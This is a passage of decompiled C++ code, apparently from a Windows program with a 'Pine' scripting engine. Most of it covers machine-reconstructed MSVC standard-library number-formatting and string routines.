v7->l_Finger.empty, (_WORD)v8 == -1) || (v9 = ((int (__stdcall *)(int))v7->vfptr->l_AllocZ)(v8)) == 0) && ((List::l_Enlargement(v2->s_BlockList, 4), v10 = v2->s_BlockList, v11 = v10->l_Finger.empty, (_WORD)v11 == -1) || (v9 = ((int (__stdcall *)(int))v10->vfptr->l_AllocZ)(v11)) == 0) || !(unsigned __int16)(**(int (__thiscall ***)(int, PineScriptReader::TokenReader *))v9)(v9, tr) ) return 0; } return 1; } //----- (004A6B00) -------------------------------------------------------- void __thiscall PineEventScript::PineEventScript(PineEventScript *this) { PineEventScriptNode::Script::Script(&this->pes_Script); } //----- (004A6B20) -------------------------------------------------------- void __thiscall std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>(std::basic_stringstream,std::allocator > *this, int _Mode) { std::basic_stringstream,std::allocator > *v2; // esi@1 int v3; // [sp+14h] [bp+0h]@3 int v4; // [sp+1Ch] [bp+8h]@0 v2 = this; if ( v4 ) { *(_DWORD *)&this->___u0.baseclass_0.___u0.baseclass_0.gap0[0] = &std::basic_stringstream_std::allocator>::_vbtable_; *(_DWORD *)&this->___u0.baseclass_0.___u0.baseclass_0.gap8[0] = &std::basic_stringstream_std::allocator>::_vbtable_; *(_DWORD *)&this->gap54[0] = &std::basic_ios>::_vftable_; } std::basic_iostream>::basic_iostream>( &this->___u0.baseclass_0, (std::basic_streambuf > *)&this->___u0.baseclass_0.___u0.baseclass_0.gap8[4]); *(_DWORD *)&v2->___u0.baseclass_0.___u0.baseclass_0.gap0[*(_DWORD *)(*(_DWORD *)&v2->___u0.baseclass_0.___u0.baseclass_0.gap0[0] + 4)] = &std::basic_stringstream_std::allocator>::_vftable_; std::basic_stringbuf_std::allocator>::basic_stringbuf_std::allocator>( (std::basic_stringbuf,std::allocator > *)&v2->___u0.baseclass_0.___u0.baseclass_0.gap8[4], v3); } // 5BD8FC: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); // 5BDB0C: using guessed type int (__stdcall *std__basic_stringstream_char_std__char_traits_char__std__allocator_char_____vftable_)(char); //----- (004A6BB0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_stringbuf_std::allocator>::str(std::basic_stringbuf,std::allocator > *this, std::basic_string,std::allocator > *result) { int v2; // edx@1 char **v3; // eax@2 char *v4; // esi@2 char *v5; // eax@3 char *v6; // ecx@5 char **v7; // esi@8 unsigned int v8; // ST08_4@9 char *v9; // ST04_4@9 std::basic_string,std::allocator > *v10; // eax@14 void *v11; // [sp-10h] [bp-40h]@6 std::basic_string,std::allocator > _Nul; // [sp+4h] [bp-2Ch]@5 unsigned int v13; // [sp+20h] [bp-10h]@14 int v14; // [sp+2Ch] [bp-4h]@5 v2 = this->_Mystate; if ( v2 & 2 || (v3 = this->baseclass_0._IPnext, (v4 = *v3) == 0) ) { if ( v2 & 4 || (v7 = this->baseclass_0._IGnext, !*v7) ) { _Nul._Myres = 15; _Nul._Mysize = 0; _Nul._Bx._Buf[0] = 0; result->_Myres = 15; result->_Mysize = 0; v14 = 2; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(result, &_Nul, 0, 0xFFFFFFFFu); if ( _Nul._Myres >= 0x10 ) { v11 = *(void **)&_Nul._Bx._Buf[0]; goto LABEL_13; } } else { v8 = (unsigned int)&(*v7)[*this->baseclass_0._IGcount - (unsigned int)*this->baseclass_0._IGfirst]; v9 = *this->baseclass_0._IGfirst; _Nul._Myres = 15; _Nul._Mysize = 0; _Nul._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&_Nul, v9, v8); result->_Myres = 15; result->_Mysize = 0; v14 = 1; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(result, &_Nul, 0, 0xFFFFFFFFu); if ( _Nul._Myres >= 0x10 ) { v11 = *(void **)&_Nul._Bx._Buf[0]; goto LABEL_13; } } } else { v5 = *v3; if ( this->_Seekhigh >= v4 ) v5 = this->_Seekhigh; v6 = *this->baseclass_0._IPfirst; _Nul._Myres = 15; _Nul._Mysize = 0; _Nul._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&_Nul, v6, v5 - v6); result->_Myres = 15; result->_Mysize = 0; v14 = 0; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(result, &_Nul, 0, 0xFFFFFFFFu); if ( _Nul._Myres >= 0x10 ) { v11 = *(void **)&_Nul._Bx._Buf[0]; LABEL_13: operator delete(v11); goto LABEL_14; } } LABEL_14: __security_check_cookie(v13); return v10; } //----- (004A6D20) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, int _Val) { std::num_put > > *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 char _Fmt[6]; // [sp+8h] [bp-4Ch]@1 char _Buf[64]; // [sp+10h] [bp-44h]@1 v6 = this; v7 = std::num_put>>::_Ifmt( this, _Fmt, "ld", _Iosbase->_Fmtfl); v8 = sprintf(_Buf, v7); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v8); return result; } //----- (004A6DA0) -------------------------------------------------------- char *__cdecl std::num_put>>::_Ifmt(std::num_put > > *this, char *_Fmt, const char *_Spec, int _Flags) { char *result; // eax@1 char *v5; // edx@1 int v6; // edx@7 int v7; // esi@8 int v8; // edx@8 result = _Fmt; *_Fmt = 37; v5 = _Fmt + 1; if ( _Flags & 0x20 ) { *v5 = 43; v5 = _Fmt + 2; } if ( _Flags & 8 ) *v5++ = 35; if ( *_Spec == 76 ) { *v5 = 73; v6 = (int)(v5 + 1); *(_BYTE *)v6 = 54; v5 = (char *)(v6 + 1); *v5 = 52; } else { *v5 = *_Spec; } v7 = _Flags & 0xE00; v8 = (int)(v5 + 1); if ( v7 == 1024 ) { *(_BYTE *)v8 = 111; *(_BYTE *)(v8 + 1) = 0; } else { if ( v7 == 2048 ) { *(_BYTE *)v8 = ~(8 * _Flags) & 0x20 | 0x58; *(_BYTE *)(v8 + 1) = 0; } else { *(_BYTE *)v8 = _Spec[1]; *(_BYTE *)(v8 + 1) = 0; } } return result; } //----- (004A6E30) -------------------------------------------------------- std::ostreambuf_iterator > *__cdecl std::num_put>>::_Iput(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, char *_Buf, unsigned int _Count) { std::locale *v7; // eax@1 void *v8; // eax@1 int v9; // esi@1 std::numpunct *v10; // edi@1 unsigned int v11; // eax@2 int v12; // esi@5 char *v13; // ecx@7 char v14; // al@7 bool v15; // zf@7 char v16; // al@10 char *v17; // ebx@15 char *v18; // eax@15 char *v19; // eax@18 int v20; // eax@23 unsigned int v21; // ebp@23 unsigned int v22; // esi@23 int v23; // edi@28 int v24; // esi@32 unsigned int v25; // esi@34 int v26; // eax@37 std::basic_streambuf > *v27; // eax@38 int v28; // ecx@39 signed int v29; // eax@40 char *v30; // ebx@40 std::ostreambuf_iterator > *v31; // eax@45 std::basic_streambuf > *v32; // ebx@45 char v33; // al@47 std::ostreambuf_iterator > *v34; // eax@47 unsigned int v35; // ecx@47 std::basic_streambuf > *v36; // eax@47 std::ostreambuf_iterator > *v37; // eax@49 signed int _Prefix; // [sp+4h] [bp-44h]@12 int v39; // [sp+8h] [bp-40h]@2 int v40; // [sp+Ch] [bp-3Ch]@40 std::basic_streambuf > *v41; // [sp+10h] [bp-38h]@40 int v42; // [sp+14h] [bp-34h]@1 void *_Punct_fac; // [sp+18h] [bp-30h]@1 std::basic_string,std::allocator > _Grouping; // [sp+1Ch] [bp-2Ch]@7 unsigned int v45; // [sp+38h] [bp-10h]@49 int v46; // [sp+44h] [bp-4h]@1 v7 = std::ios_base::getloc(_Iosbase, (std::locale *)&v42); v46 = 0; v8 = std::use_facet>(v7); v9 = v42; v10 = (std::numpunct *)v8; _Punct_fac = v8; v46 = -1; if ( v42 ) { std::_Lockit::_Lockit((std::_Lockit *)&v39, 0); v11 = *(_DWORD *)(v9 + 4); if ( v11 > 0 && v11 < 0xFFFFFFFF ) *(_DWORD *)(v9 + 4) = v11 - 1; v12 = ((*(_DWORD *)(v9 + 4) != 0) - 1) & v9; std::_Lockit::__Lockit((std::_Lockit *)&v39); if ( v12 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v12)(v12, 1); } std::numpunct::grouping(v10, &_Grouping); v13 = _Buf; v14 = *_Buf; v15 = *_Buf == 43; v46 = 1; if ( v15 || v14 == 45 ) { _Prefix = 1; } else { if ( v14 != 48 || (v16 = _Buf[1], v16 != 120) && v16 != 88 ) _Prefix = 0; else _Prefix = 2; } v17 = *(char **)&_Grouping._Bx._Buf[0]; v18 = *(char **)&_Grouping._Bx._Buf[0]; if ( _Grouping._Myres < 0x10 ) v18 = (char *)&_Grouping._Bx; if ( *v18 == 127 ) goto LABEL_52; v19 = *(char **)&_Grouping._Bx._Buf[0]; if ( _Grouping._Myres < 0x10 ) v19 = (char *)&_Grouping._Bx; if ( *v19 <= 0 ) { LABEL_52: v21 = _Count; } else { if ( _Grouping._Myres < 0x10 ) v17 = (char *)&_Grouping._Bx; LOBYTE(v20) = *v17; v21 = _Count; v22 = _Count; if ( *v17 != 127 ) { while ( (char)v20 > 0 ) { v20 = (char)v20; if ( (char)v20 >= v22 - _Prefix ) break; v22 -= v20; v23 = (int)&v13[v22]; memmove(&v13[v22 + 1], &v13[v22], v21 - v22 + 1); *(_BYTE *)v23 = 44; ++v21; if ( v17[1] > 0 ) ++v17; LOBYTE(v20) = *v17; if ( *v17 == 127 ) { v13 = _Buf; break; } v13 = _Buf; } } } v24 = _Iosbase->_Wide; if ( v24 <= 0 || v24 <= v21 ) v25 = 0; else v25 = v24 - v21; v26 = _Iosbase->_Fmtfl & 0x1C0; if ( v26 == 64 ) { v32 = _Dest._Strbuf; } else { v15 = v26 == 256; v27 = _Dest._Strbuf; if ( v15 ) { v41 = _Dest._Strbuf; v29 = _Prefix; v30 = v13; v40 = *(_DWORD *)&_Dest; if ( _Prefix ) { v39 = _Prefix; do { std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&v40, *v30++); --v39; } while ( v39 ); v13 = _Buf; v29 = _Prefix; } _Buf = &v13[v29]; v28 = v40; v21 -= v29; v27 = v41; } else { v28 = *(_DWORD *)&_Dest; } v31 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v40, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v27, v28), _Fill, v25); v32 = v31->_Strbuf; *(_DWORD *)&_Dest.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&v31->___u0.baseclass_0.baseclass_0.dummy[0]; v25 = 0; } v33 = (*(int (**)(void))(*(_DWORD *)_Punct_fac + 8))(); v34 = std::num_put>>::_Putgrouped( this, (std::ostreambuf_iterator > *)&v40, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v32, *(_DWORD *)&_Dest), _Buf, v21, v33); v35 = *(_DWORD *)&v34->___u0.baseclass_0.baseclass_0.dummy[0]; v36 = v34->_Strbuf; _Iosbase->_Wide = 0; std::num_put>>::_Rep( this, result, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v36, v35), _Fill, v25); if ( _Grouping._Myres >= 0x10 ) operator delete(*(void **)&_Grouping._Bx._Buf[0]); __security_check_cookie(v45); return v37; } //----- (004A70D0) -------------------------------------------------------- std::ostreambuf_iterator > *__cdecl std::num_put>>::_Putgrouped(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, const char *_Ptr, unsigned int _Count, char _Kseparator) { std::basic_streambuf > *v6; // ebx@1 int v7; // edi@1 void *v8; // eax@2 unsigned int v9; // esi@3 int v10; // edx@5 std::basic_streambuf > *v11; // ecx@5 unsigned int v12; // edi@6 bool v13; // zf@9 std::ostreambuf_iterator > *v14; // eax@11 std::ostreambuf_iterator > *v15; // eax@13 char *v16; // [sp+Ch] [bp-14h]@5 int v17; // [sp+10h] [bp-10h]@5 std::basic_streambuf > *v18; // [sp+14h] [bp-Ch]@5 char v19; // [sp+18h] [bp-8h]@11 const char *_Ptra; // [sp+38h] [bp+18h]@9 unsigned int _Counta; // [sp+3Ch] [bp+1Ch]@9 v6 = _Dest._Strbuf; v7 = *(_DWORD *)&_Dest; while ( 1 ) { v8 = memchr(_Ptr, 44, _Count); if ( v8 ) v9 = v8 - _Ptr; else v9 = _Count; v16 = (char *)_Ptr; v10 = v7; v11 = v6; v17 = v7; v18 = v6; if ( v9 ) { v12 = v9; do { std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&v17, *v16); --v12; ++v16; } while ( v12 ); v11 = v18; v10 = v17; } _Ptra = &_Ptr[v9]; v13 = _Count == v9; v7 = v10; v6 = v11; _Counta = _Count - v9; if ( v13 ) break; if ( _Kseparator ) { v14 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v19, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v11, v10), _Kseparator, 1u); v7 = *(_DWORD *)&v14->___u0.baseclass_0.baseclass_0.dummy[0]; v6 = v14->_Strbuf; } _Ptr = _Ptra + 1; _Count = _Counta - 1; } v15 = result; *(_DWORD *)&result->___u0.baseclass_0.baseclass_0.dummy[0] = v10; result->_Strbuf = v11; return v15; } //----- (004A71A0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::grouping(std::numpunct *this, std::basic_string,std::allocator > *result) { ((void (__stdcall *)(_DWORD))this->baseclass_0.vfptr[3].__vecDelDtor)(result); return result; } //----- (004A71C0) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, unsigned int _Val) { std::num_put > > *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 char _Fmt[6]; // [sp+8h] [bp-4Ch]@1 char _Buf[64]; // [sp+10h] [bp-44h]@1 v6 = this; v7 = std::num_put>>::_Ifmt( this, _Fmt, "lu", _Iosbase->_Fmtfl); v8 = sprintf(_Buf, v7); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v8); return result; } //----- (004A7240) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, __int64 _Val) { std::num_put > > *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 char _Fmt[8]; // [sp+8h] [bp-4Ch]@1 char _Buf[64]; // [sp+10h] [bp-44h]@1 v6 = this; v7 = std::num_put>>::_Ifmt( this, _Fmt, "Ld", _Iosbase->_Fmtfl); v8 = sprintf(_Buf, v7); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v8); return result; } //----- (004A72C0) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, unsigned __int64 _Val) { std::num_put > > *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 char _Fmt[8]; // [sp+8h] [bp-4Ch]@1 char _Buf[64]; // [sp+10h] [bp-44h]@1 v6 = this; v7 = std::num_put>>::_Ifmt( this, _Fmt, "Lu", _Iosbase->_Fmtfl); v8 = sprintf(_Buf, v7); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v8); return result; } //----- (004A7340) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, long double _Val) { int v6; // eax@1 int v7; // edx@2 signed int v8; // ebp@4 long double v9; // st7@6 unsigned int v10; // esi@6 unsigned int v11; // ebx@6 unsigned int v12; // edi@6 char *v13; // eax@17 int v14; // eax@17 std::num_put > > *thisa; // [sp+18h] [bp-7Ch]@1 char _Fmt[8]; // [sp+1Ch] [bp-78h]@17 char _Buf[108]; // [sp+24h] [bp-70h]@17 thisa = this; v6 = _Iosbase->_Prec; if ( v6 <= 0 ) { v7 = _Iosbase->_Fmtfl; if ( !(BYTE1(v7) & 0x20) ) v6 = 6; } v8 = 36; if ( v6 <= 36 ) v8 = v6; v9 = _Val; v10 = v6 - v8; v11 = 0; v12 = 0; if ( (_Iosbase->_Fmtfl & 0x3000) == 8192 ) { if ( _Val < 0.0 ) v9 = -_Val; for ( ; v9 >= 1.0e35; v11 += 10 ) { if ( v11 >= 0x1388 ) break; v9 = v9 * 1.0e-10; } if ( v9 > 0.0 && (signed int)v10 >= 10 ) { do { if ( v9 > 1.0e-35 ) break; if ( v12 >= 0x1388 ) break; v9 = v9 * 1.0e10; v10 -= 10; v12 += 10; } while ( (signed int)v10 >= 10 ); } } v13 = std::num_put>>::_Ffmt(this, _Fmt, 0, _Iosbase->_Fmtfl); v14 = sprintf(_Buf, v13); std::num_put>>::_Fput( thisa, result, _Dest, _Iosbase, _Fill, _Buf, v11, v12, v10, v14); return result; } //----- (004A74B0) -------------------------------------------------------- char *__cdecl std::num_put>>::_Ffmt(std::num_put > > *this, char *_Fmt, char _Spec, int _Flags) { char *result; // eax@1 char *v5; // ecx@1 int v6; // ecx@5 int v7; // ecx@5 int v8; // edx@7 result = _Fmt; *_Fmt = 37; v5 = _Fmt + 1; if ( _Flags & 0x20 ) { *v5 = 43; v5 = _Fmt + 2; } if ( _Flags & 0x10 ) *v5++ = 35; *v5 = 46; v6 = (int)(v5 + 1); *(_BYTE *)v6 = 42; v7 = v6 + 1; if ( _Spec ) *(_BYTE *)v7++ = _Spec; v8 = _Flags & 0x3000; if ( v8 == 8192 ) { *(_BYTE *)v7 = 102; *(_BYTE *)(v7 + 1) = 0; } else { *(_BYTE *)v7 = 2 * (v8 != 4096) + 101; *(_BYTE *)(v7 + 1) = 0; } return result; } //----- (004A7510) -------------------------------------------------------- std::ostreambuf_iterator > *__cdecl std::num_put>>::_Fput(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, const char *_Buf, unsigned int _Beforepoint, unsigned int _Afterpoint, unsigned int _Trailing, unsigned int _Count) { std::locale *v10; // eax@1 void *v11; // eax@1 int v12; // esi@1 std::numpunct *v13; // edi@1 unsigned int v14; // eax@2 int v15; // esi@5 std::locale::facetVtbl *v16; // edx@7 const char *v17; // edi@7 const char v18; // al@7 bool v19; // zf@7 char *v20; // eax@10 char *v21; // eax@13 void *v22; // eax@16 void *v23; // eax@19 unsigned int v24; // esi@21 char *v25; // edi@22 char *v26; // eax@24 unsigned int v27; // esi@26 unsigned int v28; // eax@26 int v29; // ecx@35 unsigned int v30; // eax@35 int v31; // eax@39 std::basic_streambuf > *v32; // eax@42 int v33; // ecx@43 int v34; // ecx@43 std::ostreambuf_iterator > *v35; // eax@46 void *v36; // ebp@46 std::basic_streambuf > *v37; // ebx@46 void *v38; // eax@48 std::ostreambuf_iterator > *v39; // eax@49 std::ostreambuf_iterator > *v40; // eax@49 unsigned int v41; // ebx@49 std::basic_streambuf > *v42; // ebp@49 char v43; // al@49 std::ostreambuf_iterator > *v44; // eax@49 std::ostreambuf_iterator > *v45; // eax@49 void *v46; // eax@50 std::ostreambuf_iterator > *v47; // eax@51 std::ostreambuf_iterator > *v48; // eax@51 char *v49; // ecx@51 void *v50; // edx@53 int v51; // eax@53 char v52; // ST48_1@53 std::ostreambuf_iterator > *v53; // eax@54 std::ostreambuf_iterator > *v54; // eax@54 unsigned int v55; // ecx@54 std::basic_streambuf > *v56; // eax@54 std::ostreambuf_iterator > *v57; // eax@58 std::ostreambuf_iterator > *v58; // [sp-20h] [bp-98h]@41 std::ostreambuf_iterator > v59; // [sp-1Ch] [bp-94h]@41 char v60; // [sp-14h] [bp-8Ch]@41 unsigned int v61; // [sp-10h] [bp-88h]@41 int _Enders; // [sp+4h] [bp-74h]@10 int _Fracoffset; // [sp+8h] [bp-70h]@8 std::basic_streambuf > *v64; // [sp+Ch] [bp-6Ch]@43 int _Kseparator; // [sp+10h] [bp-68h]@2 void *_Punct_fac; // [sp+14h] [bp-64h]@1 int v67; // [sp+18h] [bp-60h]@53 char v68; // [sp+1Ch] [bp-5Ch]@49 int v69; // [sp+24h] [bp-54h]@1 char v70; // [sp+28h] [bp-50h]@49 std::basic_string,std::allocator > _Groupstring; // [sp+30h] [bp-48h]@7 std::basic_string,std::allocator > _Grouping; // [sp+4Ch] [bp-2Ch]@7 unsigned int v73; // [sp+68h] [bp-10h]@58 int v74; // [sp+74h] [bp-4h]@1 unsigned int _Bufa; // [sp+94h] [bp+1Ch]@37 int _Fillcount; // [sp+98h] [bp+20h]@51 v10 = std::ios_base::getloc(_Iosbase, (std::locale *)&v69); v74 = 0; v11 = std::use_facet>(v10); v12 = v69; v13 = (std::numpunct *)v11; _Punct_fac = v11; v74 = -1; if ( v69 ) { std::_Lockit::_Lockit((std::_Lockit *)&_Kseparator, 0); v14 = *(_DWORD *)(v12 + 4); if ( v14 > 0 && v14 < 0xFFFFFFFF ) *(_DWORD *)(v12 + 4) = v14 - 1; v15 = ((*(_DWORD *)(v12 + 4) != 0) - 1) & v12; std::_Lockit::__Lockit((std::_Lockit *)&_Kseparator); if ( v15 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v15)(v15, 1); } std::numpunct::grouping(v13, &_Grouping); v16 = v13->baseclass_0.vfptr; v74 = 1; LOBYTE(_Kseparator) = ((int (__thiscall *)(std::numpunct *))v16[2].__vecDelDtor)(v13); _Groupstring._Myres = 15; _Groupstring._Mysize = 0; _Groupstring._Bx._Buf[0] = 0; v17 = _Buf; v18 = *_Buf; v19 = *_Buf == 43; LOBYTE(v74) = 2; if ( v19 || (_Fracoffset = 0, v18 == 45) ) _Fracoffset = 1; LOBYTE(_Enders) = *localeconv()->decimal_point; *(_WORD *)((char *)&_Enders + 1) = 101; v20 = *(char **)&_Grouping._Bx._Buf[0]; if ( _Grouping._Myres < 0x10 ) v20 = (char *)&_Grouping._Bx; if ( *v20 != 127 ) { v21 = *(char **)&_Grouping._Bx._Buf[0]; if ( _Grouping._Myres < 0x10 ) v21 = (char *)&_Grouping._Bx; if ( *v21 > 0 ) { std::basic_string_std::allocator>::append(&_Groupstring, _Buf, _Count); v22 = memchr(_Buf, 101, _Count); if ( v22 ) std::basic_string_std::allocator>::insert( &_Groupstring, v22 - _Buf, _Trailing, 48); else std::basic_string_std::allocator>::append(&_Groupstring, _Trailing, 48); v23 = memchr(_Buf, (char)_Enders, _Count); if ( v23 ) { v24 = v23 - _Buf; std::basic_string_std::allocator>::insert( &_Groupstring, v23 - _Buf + 1, _Afterpoint, 48); std::basic_string_std::allocator>::insert( &_Groupstring, v24, _Beforepoint, 48); } else { std::basic_string_std::allocator>::append(&_Groupstring, _Beforepoint, 48); } v25 = *(char **)&_Grouping._Bx._Buf[0]; if ( _Grouping._Myres < 0x10 ) v25 = (char *)&_Grouping._Bx; v26 = *(char **)&_Groupstring._Bx._Buf[0]; if ( _Groupstring._Myres < 0x10 ) v26 = (char *)&_Groupstring._Bx; strcspn(v26, (char *)&_Enders); v27 = v28; for ( LOBYTE(v28) = *v25; *v25 != 127; LOBYTE(v28) = *v25 ) { if ( (char)v28 <= 0 ) break; v28 = (char)v28; if ( (char)v28 >= v27 - _Fracoffset ) break; v27 -= v28; std::basic_string_std::allocator>::insert(&_Groupstring, v27, 1u, 44); if ( v25[1] > 0 ) ++v25; } v17 = *(const char **)&_Groupstring._Bx._Buf[0]; if ( _Groupstring._Myres < 0x10 ) v17 = (const char *)&_Groupstring._Bx; _Beforepoint = 0; _Afterpoint = 0; _Trailing = 0; _Count = _Groupstring._Mysize; } } v29 = _Iosbase->_Wide; v30 = _Count + _Trailing + _Beforepoint + _Afterpoint; if ( v29 <= 0 || v29 <= v30 ) _Bufa = 0; else _Bufa = v29 - v30; v31 = _Iosbase->_Fmtfl & 0x1C0; if ( v31 == 64 ) { v37 = _Dest._Strbuf; v36 = *(void **)&_Dest; } else { if ( v31 == 256 ) { v32 = _Dest._Strbuf; if ( (unsigned int)_Fracoffset <= 0 ) { v34 = *(_DWORD *)&_Dest; } else { v33 = (unsigned __int8)*v17; _Fracoffset = *(_DWORD *)&_Dest; v64 = _Dest._Strbuf; std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&_Fracoffset, v33); v34 = _Fracoffset; v32 = v64; ++v17; --_Count; } v61 = _Bufa; v60 = _Fill; v59 = (std::ostreambuf_iterator >)__PAIR__((unsigned int)v32, v34); v58 = (std::ostreambuf_iterator > *)&_Fracoffset; } else { v61 = _Bufa; v60 = _Fill; v59 = _Dest; v58 = (std::ostreambuf_iterator > *)&_Fracoffset; } v35 = std::num_put>>::_Rep(this, v58, v59, v60, v61); v36 = *(void **)&v35->___u0.baseclass_0.baseclass_0.dummy[0]; v37 = v35->_Strbuf; _Bufa = 0; } v38 = memchr(v17, (char)_Enders, _Count); if ( v38 ) { _Fracoffset = v38 - v17 + 1; v39 = std::num_put>>::_Putgrouped( this, (std::ostreambuf_iterator > *)&v70, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v37, (unsigned int)v36), v17, v38 - v17, _Kseparator); v40 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v68, *v39, 48, _Beforepoint); v41 = *(_DWORD *)&v40->___u0.baseclass_0.baseclass_0.dummy[0]; v42 = v40->_Strbuf; v43 = (*(int (**)(void))(*(_DWORD *)_Punct_fac + 4))(); v44 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v68, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v42, v41), v43, 1u); v45 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&_Punct_fac, *v44, 48, _Afterpoint); v36 = *(void **)&v45->___u0.baseclass_0.baseclass_0.dummy[0]; v37 = v45->_Strbuf; v17 += _Fracoffset; _Count -= _Fracoffset; } v46 = memchr(v17, 101, _Count); if ( v46 ) { _Fillcount = v46 - v17 + 1; v47 = std::num_put>>::_Putgrouped( this, (std::ostreambuf_iterator > *)&v68, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v37, (unsigned int)v36), v17, v46 - v17, _Kseparator); v48 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v70, *v47, 48, _Trailing); _Trailing = 0; v49 = "E"; if ( !(_Iosbase->_Fmtfl & 4) ) v49 = "e"; v50 = *(void **)&v48->___u0.baseclass_0.baseclass_0.dummy[0]; v51 = (int)v48->_Strbuf; v52 = *v49; _Punct_fac = v50; v67 = v51; std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&_Punct_fac, v52); v36 = _Punct_fac; v37 = (std::basic_streambuf > *)v67; v17 += _Fillcount; _Count -= _Fillcount; } v53 = std::num_put>>::_Putgrouped( this, (std::ostreambuf_iterator > *)&v68, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v37, (unsigned int)v36), v17, _Count, _Kseparator); v54 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v70, *v53, 48, _Trailing); v55 = *(_DWORD *)&v54->___u0.baseclass_0.baseclass_0.dummy[0]; v56 = v54->_Strbuf; _Iosbase->_Wide = 0; std::num_put>>::_Rep( this, result, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v56, v55), _Fill, _Bufa); if ( _Groupstring._Myres >= 0x10 ) operator delete(*(void **)&_Groupstring._Bx._Buf[0]); _Groupstring._Myres = 15; _Groupstring._Mysize = 0; _Groupstring._Bx._Buf[0] = 0; if ( _Grouping._Myres >= 0x10 ) operator delete(*(void **)&_Grouping._Bx._Buf[0]); __security_check_cookie(v73); return v57; } //----- (004A7AD0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::insert(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _Count, char _Ch) { unsigned int v4; // ebx@1 std::basic_string,std::allocator > *v5; // esi@1 unsigned int v6; // edi@6 unsigned int v7; // eax@8 bool v8; // cf@9 bool v9; // zf@9 unsigned int v10; // eax@11 int v11; // ebp@11 int v12; // ecx@12 std::basic_string,std::allocator > *result; // eax@15 int v14; // eax@19 int v15; // edx@22 void *v16; // edi@24 int v17; // eax@24 unsigned int v18; // edi@24 unsigned int i; // ecx@24 unsigned int _Offa; // [sp+10h] [bp+4h]@6 v4 = _Off; v5 = this; if ( this->_Mysize < _Off ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); if ( -1 - this->_Mysize <= _Count ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); if ( !_Count ) return v5; v6 = _Count + this->_Mysize; _Offa = _Count + this->_Mysize; if ( v6 > 0xFFFFFFFE ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); v7 = this->_Myres; if ( v7 < v6 ) { std::basic_string_std::allocator>::_Copy(this, v6, this->_Mysize); v8 = 0; v9 = v6 == 0; goto LABEL_10; } v8 = 0; v9 = v6 == 0; if ( v6 ) { LABEL_10: if ( !(v8 | v9) ) { v10 = v5->_Myres; v11 = (int)&v5->_Bx; if ( v10 < 0x10 ) v12 = (int)&v5->_Bx; else v12 = *(_DWORD *)v11; if ( v10 < 0x10 ) v14 = (int)&v5->_Bx; else v14 = *(_DWORD *)v11; memmove((char *)(_Count + v4 + v14), (char *)(v4 + v12), v5->_Mysize - v4); if ( v5->_Myres < 0x10 ) v15 = 